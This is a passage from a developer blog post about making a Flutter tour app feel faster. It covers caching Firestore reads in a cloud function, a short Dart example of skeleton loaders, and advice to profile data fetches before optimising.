| Firebase bill | Rising fast | Flat |
The first user to hit the function after a cold start waits ~400ms. Every user after that gets cached data in under 100ms.
Flutter Side — Skeleton Loaders
The performance fix only works if users don’t stare at a blank screen during that first cold start. I paired it with skeleton loaders in Flutter:
Widget build(BuildContext context) {
return FutureBuilder<List<Tour>>(
future: fetchTours(),
builder: (context, snapshot) {
if (!snapshot.hasData) {
return TourSkeletonList(); // Show skeleton while loading
}
return TourList(tours: snapshot.data!);
},
);
}
Perceived performance matters as much as actual performance. Users tolerate loading if they can see something happening.
What I’d Do Differently
If I were building Muslifie today, I’d add:
- Redis caching via Firebase Extensions for multi-instance cache sharing
- Incremental loading — show top 10 tours instantly, load the rest in background
- Prefetch on app launch — start fetching data the moment the app opens, before the user even navigates
Key Takeaway
Don’t optimize early — but do profile before you assume. The bottleneck wasn’t the Flutter widgets or network speed. It was unnecessary Firestore reads that a 20-line caching function completely solved.
If your app feels slow, add logging to every data fetch and look at where time is actually being spent. The answer is usually simpler than you think.
Originally published at buildzn.com

